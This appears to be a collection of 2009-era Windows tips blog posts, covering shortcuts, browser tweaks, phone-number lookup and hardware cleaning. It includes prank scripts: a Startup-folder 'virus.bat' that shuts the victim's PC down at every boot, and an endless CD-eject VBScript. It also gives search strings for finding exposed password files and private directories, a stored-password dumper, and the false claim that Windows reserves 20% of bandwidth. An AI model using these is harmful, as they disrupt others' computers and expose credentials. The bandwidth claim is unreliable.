Trace Any Phone Number in the World

According to the latest report from ITU (International Telecommunication Union) the worldwide mobile subscriber base stands at 4.1 billion (of which India accounts for almost 10% at 403.66 million at the end of April 2009) while fixed-line subscriber base at 1.27 billion. With dropping call rates and booming mobile telephony market we have to bear the burnt of getting lots of unwanted calls and missed calls.
Sometimes we cannot even identify which country the missed call is from (except of course the ones from our home country and a few others for which we know the international dialing code). Then how do we find it?

Centralized database
There is a centralized database which has the following details about almost every phone number in the world.

*Type of Number

*Country

*City / State / Exchange location

*Original Network Provider

. Type of Number
This specifies whether the number is a Mobile number or a Landline/Fixed line referred as Geographic number. There is also a type of number called NonGeographic Number in countries like UK which is not linked to any specific location/city.2. Country
It is the country the number belongs to.3. City / State / Exchange location
This gives the city and exchange location information for a fixed line phone and the zone or state for a mobile number.4. Original Network Provider
This is the actual telecom company providing the service like Airtel, BSNL, Verizon, T-Mobile etc. But network provider listed here may not be the present network/service provider because Number Portability is not taken into account.

How can you use this service?
To use this service go to this page and enter the number in the international format.

+
Eg. +12532532533 or +447010752752
For fixed line phones, enter as follows:
+
Eg. +914422102210
where 91 is India’s country code, 44 area code for Chennai and 22102210 being the actual phone number. In India area codes are of varying length but the phone number together with the area code is always 10 digits for Indian numbers.
You can also use 00 instead of + .
The databases are updated quite frequently, last time the databases were updated on 11th May 2009.

Next update is expected during first week of June 2009. You can also purchase a license to access the entire database for about €55 per month.

The databases are available in CSV format (comma delimited strings) as well as in TXT format (tab delimited values).
Click here to download a sample of the database in CSVformat.

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Recover MSN Messenger and Hotmail Password With Password Recovery Software

Forgot you MSN and Hotmail password? Where to find Hotmail password recovery software and manager? Being a very secretive person, I have the habit of changing my password every few months; at times I forgot what my password was and stumbled upon this wonderful password recovery software.
MSN Messenger Password Recovery enables you to recover your lost email password and MSN password. This MSN and Hotmail email password recovery software only works if the “Remember my Password” tickbox is checked by default in MSN messenger, meaning to say you are able to login to MSN every time automatically without entering your password. This password recovery software will not work if the tickbox is not checked.

Download MSN Messenger Password Recovery, Freeware!

Password Recovery for MSN is the MSN messenger password recovery program that finds all encrypted MSN Messenger, Windows Live Messenger and Windows Messenger passwords stored on the local system. It then displays them in an easy to read format. This program works if after clicking the “Sign-In” button in your messenger you’re able to login automatically without entering your MSN password. So why not download the MSN password recovery program and try it for free
Note: Beware that stealing MSN passwords is illegal. You can only recover your own passwords. Doing it to other people even if they’re your friends or neighbors will likely get you in jail!

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Open Active Folder in Command Prompt !

Working through cmd prompt is not easy with long paths and folder names.

This trick provides a solution !!!

What can be done :
** Command prompt can be added to 'Right Click Menu' of each folder.
** Clicking on this will open the folder in cmd prompt.
** Now, the files in that folder can easily be operated.


How to do it :
** Open any folder.
** Tools >> Folder Options...
** Change to File Types
** Select Folder from the list.
** Click Advanced button.
** Now, click New
** Type Command Prompt in Action
** Type cmd.exe in Application used to perform action:
** Now, click OK and Apply

That's All !!!

Now, Right Click any folder and click Command Prompt
And see what happens !!!

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Boost Up Internet Speed Without Software

Above 90% computers all over the world run Windows... and hence another computer trick.

FACT
But do you know that about 20% of your internet bandwidth is reserved by Microsoft.
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Uses of Reserved Bandwidth
** Windows Automatic Updates rely on this reserved bandwidth.
** Fast loading Microsoft Websites
** Sending Error Reports
** Online Help support in Microsoft Office
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But this can be recovered back...
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The Remedy
** Start >> Run
** Type gpedit.msc
** This opens the Policy Editor
** Now, Local Computer Policy >> Computer Configuration
** Then, Administrative Templates >> Network
** Now, click on QOS Packet Scheduler
** Now, on Right hand side
** Double Click Limit reservable bandwidth
** Now in Setting Tab

********************* NOTE **********************It says : Not Configured
Reality : The Explain Tab says "By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection"
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** So, on Setting Tab select Enabled
** Now, change Bandwidth limit (%) to 0 (Zero)

********************** NOTE ********************Misconcept : This don't means that you won't be able to communicate with Microsoft or any its services !!!
Actually : This reserved Bandwidth is only to accelerate Microsoft internet connections more than other connections !!!
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** Click OK !!!

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Access Your Folders as Drives

Trick is all About :

You can create Virtual Drives in your Computer. Now you can access your Favorite Folders as a drive in My Computer.

What you can do ?

** Access your folders as a Drive !

** Fool 'Computer Beginners' or your 'Friends' (Non-Expert) , as the drive will show Disk Space of the folder's drive so it seems that the disk space has increased !!!

Do The Follwing :

► Start >> Run

► Type cmd and hit Enter

► This will open "Command Prompt"

► Type subst Z: E:\folder and hit Enter key.

→ You can replace Z: with your desired New Drive Letter (Except existing Drive letters)!

→ You can replace E:\folder with the path of your favorite folder !

► Now, type exit

*** This creates a new drive ! When you open this , it will open your folder !!!

*** Isn't it Awesome ?

*** And this is Exclusive at pcremix.blogspot.com !

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But a Problem !

۩ On Restart the Virtual Drive Disappears !!!

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Solution !

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۩ We can make a batch file which will make the drive everytime on startup !

Here is how ?

► Open Notepad

► Type :

@ECHO OFF

subst Z: E:\folder

exit

► File >> Save As...

► Name it : Virtual Drive Emulator.bat

► Start >> All Programs

► Right Click on Startup >> Open

► This open the Startup folder

► Paste the Virtual Drive Emulator.bat file here !

*** That's all , now the drive will automatically be created when ever you start your pc

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>>>> Mission Accomplished <<<<

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Trace Websites !

Surfing Internet...
Type in the url and Hit Enter, that's it ?

But...
Have you ever thought what happens after that ?

Lets Trace n see what happens !

Do the following :
# Start >> Run
# Type cmd
# This will open the Command Prompt
# Type cd\
# Type tracert www.google.com

---------------------- Note ---------------------------

You can replace www.google.com with any website url.

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Results :
$ First line shows the IP address of the website... $ You'll be shown steps in which the website gets load !
$ More is the number of steps more is time taken to load the website !

That's all !

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Shutdown and Restart Trick !

My Exclusive... Again a contribution to Computer Tricks !
Play pranks on your friends...

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Shutdown Trick
Stimulate shutdown from command prompt !
# Start >> Run
# Type shutdown -s -t 10 -c "Shutting Down..."
# Hit Enter and enjoy !
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Restart Trick
Stimulate Restart from command prompt !
# Start >> Run
# Type shutdown -r -t 10 -c "Restarting..."
# Hit Enter and enjoy !
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Log Off Trick
Stimulate LogOff from command prompt !
# Start >> Run
# Type shutdown -l
# Hit Enter and enjoy !
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Please Note
-s :: This signify Shutdown Request.
-r :: This signify Restart Request.
-l :: This signify LogOff Request.
-t :: This signify the timer before Restart. (Replace '10' with any number.)
-c :: This signify comment.

How To Stop It ?
# When the timer is Running...
# Start >> Run
# Type shutdown -a
# That's It.

Prank !!!

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۩ We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

► Open Notepad

► Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

► File >> Save As...

► Name it : virus.bat

► Start >> All Programs

► Right Click on Startup >> Open

► This open the Startup folder

► Paste the Virus.bat file here !

*** That's all , now the computer will automatically shutdown on every startup !

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Eject Your CD-DVD Drives... Infinitely

Enough of Computer Tricks here...

Hm... lets try some Pranks on the Novice and Rookies.. what say?

So... here comes my another Exclusive...!

Eject your drives in and out infinitely...

A simle VB Script will serve the purpose......!!!

Do the following:

** Go to Start >> Run

** Type Notepad and hit Enter

** Now in Notepad type:

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

do

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

loop

End If

** Go to File >> Save As...

** Type Eject.vbs and click Save

How to use:

$ Just Double Click the saved file ! (Eject.vbs)

How To Stop:

$ First Way:

Restart the Computer... and this will stop the script

$ Second Way:

Open Task Manager and in processes search for wscript.exe and click End Process

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Keep Your Internet Alive

These days Broadband connections are very common...

As a result we are always connected... this annoys the ISP's !

Recently, I made some changes in my internet connection and faced the following problem and came out with a solution...

***** Problem *****
ISPs(Internet Service Providers) automatically disconnects the connection after some time in case of absolute inactivity. This reduces the load on their servers.
But...
This is irritating for the user, as he has to login every now and then...

Now, Imagine you are reading an article and after 10 mins.. as you turn to next page...? It asks you to Login..??? Now... that's crazy... isn't it ?

***** Solution *****
I coded an application that keeps the connection alive ! Basically it maintains little activity and prevents it from logging out. This is tested to be safe.. so no worries.

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Application : Keep_Alive
Size : 40 KB
It uses : 128 bytes every 5 min. (i.e. 36KB in 1 day)
Link : Download Here
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***** How To Use *****
> Double-Click the application(Keep_Alive)
> The Application runs in hidden mode, i.e. it will disappear and run in background
> You are done.. Now your connection will remain alive, forget about it.

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But a Problem !

۩ On Restart the you again have to start the Application !!!

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So... Add it to your Start Up
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Adding to StartUp...
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** Go to Start > All Programs
** Right Click on Startup > open
** In Startup paste the application (Keep_Alive)
** This will start the Application every time you start your computer

Mission Accomplished...!
Now you will not get logged out automatically as the application will maintain some activity.

If you want to remove it...
** Just Delete it from the Startup Folder & Restart.
** To close it without Restart.. (ctrl + shift + esc) > Processes > Keep_Alive > End Process.

Enjoy.....!!!

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Test Your Internet Speed

Well..

All of us have Internet Connections at our places... and pay for costly Hi-Speed Broadband Plans...

But never thought of checking the speed that you actually get?

Well I made an application to serve the purpose.....

About Application :

> Application Size = 208 KB

> It checks the Internet Speed from a Calcutta Server

> Downloads a 128 KB of Sample Data

> It calculates your inernet Speed for you

What you need to have :

> Windows 2000, NT, Xp, Vista or higher

> For Windows Xp, NT, 2000 .Net Framework 2.0 or higher (Vista has it preloaded)

> Internet Explorer Installed.

Usage :

** Just Double Click to test the speed of your connection.

Enjoy..

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Reduce Memory usage of FIREFOX

The memory requirement increases rapidly to more than 100 mb when you surf for a long time in a firefox browser or open many tabs at a time.

Reason .........

Two effects cater Firefox's ever increasing appetite for memory.All web sites open in tabs and windows occupy memory space; this space remains occupied even after minimizing windows.Besides,Firefox also saves 50 recently visited websites in the main memory of the PC in order to facilitate quick browsing through the session history.To reduce this unnecessarily large number of saved sites.

Solution .........

Enter 'about:config' in the address bar. Search for 'browser.sessionhistory.max_entries' in the 'Preference Name' list and double-click on it to edit it.Change the default setting '50' to a considerably smaller number or even to '0' and confirm with 'OK'. When you enter '1' or '5' you can still access the last visited websites since they are still available in the RAM. Incidentally, saving the history is not affected by this setting. Thus, you can browse through as many sites as you want; you only need to wait for the renewed loading of these websites.

You can also instruct Firefox to release the memory space that is no longer in use. Simply right-click on any space in the list of configuration settings and select the context command 'New | Boolean'. Enter 'config.trim_on_minimize' and click 'OK'. Click on 'True' in the following dialog and again confirm with 'OK'. Now restart the browser.

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Get most from GOOGLE search

Google Search Options


Specific file types: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf
Google allows you to search for specific file types, so instead of getting html-files as a result (websites) you get Microsoft excel files for example. The search string you would use would be this:

Filetype:xls (for excel files) or filetype:doc for word files.
But maybe more interesting would be searching for *.db files and *.mdb files. Google by the way doesn’t tell you, you can search for *.db and *mdb files. I wonder what other file types one can search for. Things that come to mind are *.cfg files or *.pwd files, *.dat files, stuff like that. Try and think of something that might get you some interesting results.

Inurl

Another useful search option is the inurl: option which allows one to search for a certain word one would want to be in the url. This gives you the opportunity to search for specific directories/folders, especially in combination with the “index of” option. An example would be inurl:master-tricks which would give you results of website urls that have the word “master-tricks” in the url.

Index of

The index of option is another option that isn’t especially thought of by the creators of google, but comes in very handy. If you use the “index of” string you will find directory listings of specific folders on servers. An example could be: "index of” master-tricks or index.of.master-tricks which would get you many directory listings of master-tricks folders. (don’t forget to use the quotes in this case since you are looking for the entire “index of” string, not just for “index” and “of”)

Site

The site option allows you to come up with results that only belong to a certain domain name extension or to a specific site. For example one could search for .com sites or .box.sk sites or .nl sites, but also for results from just one site. An example of a search string would be: Site:org

Intitle

Intitle is another nice option. It allows you to search for html files that have a certain word or words in the title. The format would be intitle:wordhere.


Link

The Link option allows you to check which sites link to a specific site. For example link:http://supertrickz.blogspot.com

Combining search options

The above mentioned search options might or might not be known to you, but even though they can amount to some interesting results, it’s a fact that when you start combining them, that’s when google’s magic starts to show. For example, one could try this search string: inurl:supertrickz intitle:supertrickz or this one: site:org filetype:xls "password" .

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Add Folder To - "SEND TO"

Many a times we require a FOLDER too often, like to store our Multimedia files and all !!!
No no need to access the folder and carry out the traditional COPY & PASTE !!!

Just add it too "SEND TO" !!!

Do as follows :

** Open any FOLDER.
** Then, TOOLS >> Folder Options
** Click view TAB.
** In LIST of Advance Settings, click Show hidden files and folders !
** Now, go to C:\Documents and Settings
** Here, double click and open your (username) folder !
** Now, open SendTo folder.
** Here copy and paste the shortcut of your favorite folder.

That's Done !!!

Now, tranfer files to your favorite folder :

** Right Click the file
** Then, Send To
** Click the folder name !

Enjoy !!! --------- Please Comment !!!

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Keyboard Shortcuts Tips n Tricks

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. Use the following keyboard shortcuts :

Windows key + R = Run menu

This is usually followed by:

cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services


Windows key + E = Explorer
ALT + Tab = Switch between windows
ALT, Space, X = Maximize window
CTRL + Shift + Esc = Task Manager
Windows key + Break = System properties
Windows key + F = Search
Windows key + D = Hide/Display all windows
CTRL + C = copy
CTRL + X = cut
CTRL + V = paste


Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.

Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications
[Alt] and letter Select menu item by underlined letter
[Ctrl] and [Esc] Open Program Menu
[Ctrl] and [F4] Close active document or group windows (does not work with some applications)
[Alt] and [F4] Quit active application or close current window
[Alt] and [-] Open Control menu for active document
[Ctrl] Lft., Rt. arrow Move cursor forward or back one word
[Ctrl] Up, Down arrow Move cursor forward or back one paragraph
[F1] Open Help for active application
Windows+M Minimize all open windows
Shift+Windows+M Undo minimize all open windows
Windows+F1 Open Windows Help
Windows+Tab Cycle through the Taskbar buttons
Windows+Break Open the System Properties dialog box

acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.
Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.
Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.
SHIFT....... five times Switch StickyKeys on and off.
NUM LOCK...... for five seconds Switch ToggleKeys on and off.

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Search Private Directories for Images or Icons

I always love to extend my collection of Google Tricks articles whenever I found another most impressive method that can use in search for accomplish rare tasks.

Here is another portion of text which can use for access private picture directories (which not permitted for outside world).

This is useful if you’re going to work on your school projects or something similar which needs rare images not in public.

intitle:index.of +"Indexed by Apache::Gallery"

Also you may prefer narrow your search this is can do for some extent, add any part of text end of the above portion like exactly showed in below.

intitle:index.of +"Indexed by Apache::Gallery" +ANY_WORD

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Fix the problems that occur after installing new software in Windows

There can be many errors occur after installing a new software for a PC. However there are three common types of errors that can be appearing in any computer system because of the incompatibility or not proper installation of software.

Mostly many of errors can be occur after installing system utilities and drivers than a normal software. Generating almost endless list of errors that can be caused by any of the below reasons.
1.Confliction of newly installed programs with exist software in the pc.

2.Issue comes with the program.

3.Improper installation or problems that can be occur within the installation.

* Reinstall or uninstall the program

Most of the times you can fix the problems that grows because of the installation errors or any other incorrect process that was occur within the installation by reinstalling the software back. It is good to uninstall the program first before begin the reinstallation.

Other than using normal windows uninstaller I almost prefer and tend to use uninstaller software like Revo and Your-uninstaller. Revo one of my preferred one as it completely free of charge and hefty for remove all remains of a program.

Note:

If after installing a program you're unable to boot into Windows, try booting into Safe Mode.

* Check for software program updates or New versions

Incompatible, old and un-upgraded versions can make affect system stability by working against the CPU instruction and so on. As these cannot be done higher impact these can be affect into certain areas only. However this can be incapacitate your overall system performances in some cases.

Obviously you should try to getting newest versions of software as developers improving and fixing bugs with the new versions. However this can cost you more if you trying to buy every new software release with upgrades and this is something which is not practically do.

But in here I’m not focusing on shareware. System drivers are the major section which always suffers with the old/incompatible versions. Hardware drivers cost you nothing as they freely published by the hardware manufactures.

So always try to get the newest versions issued by your hardware manufacturers, try to use the update driver feature in windows for search drivers automatically without paying third party products.

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How to Clean your Computer Mouse Step by Step

Mouse is the most sensitive part which we use every so often and it is very cheap compared to other parts. However it is so important to keep the mouse clean and smooth for ease of use.

Cleaning mouse at least every 6 months is good for the long lives of it’s and smoothness. The time is depending on the use of mouse and the dust in your computer rooms.

Whenever you notice that the cursor doesn't move as smoothly over the screen as it should then it is the right time for cleaning your mouse.

Things to consider:
1.Avoid spilling liquids on your mouse.

2.Keep your mouse pad clean and dry.

3.Use a slick mouse pad rather than a fabric one.

4.Clean your mechanical mouse regularly.

Materials you will need:
1.Tweezers.

2.A can of compressed air.

3.Cotton swab.

4.Rubbing alcohol.

Cleaning your mouse:
* Unplug the mouse from your computer (mouse has to be connected to the back side port of your computer).

* Turn the mouse upside down.

* Locate the plastic ring that holds the mouse ball in place.

* Using both thumbs, rotate the ring in the direction of the arrows until it won't turn any further.

* If you don't have arrows, just turn it whichever way it will go.

* Pick up your mouse and pour the ball and ring into your hand.

* Set the ring aside and wash the ball under lukewarm water.

* Set the ball aside and let it air dry.

* Carefully remove any lint and debris with the tweezers. (You can use a couple shots of compressed air to remove some stubborn lint from the inside of your mouse.) Use caution to keep the can upright so you do not spray moister into your mouse.

* Put some rubbing alcohol on the end of your cotton swab (do not saturate the swab) and swab the rollers and the inside compartment.

* Let your clean mouse air dry. For you impatient folks, using a hairdryer on a low setting will work fine to speed this process.

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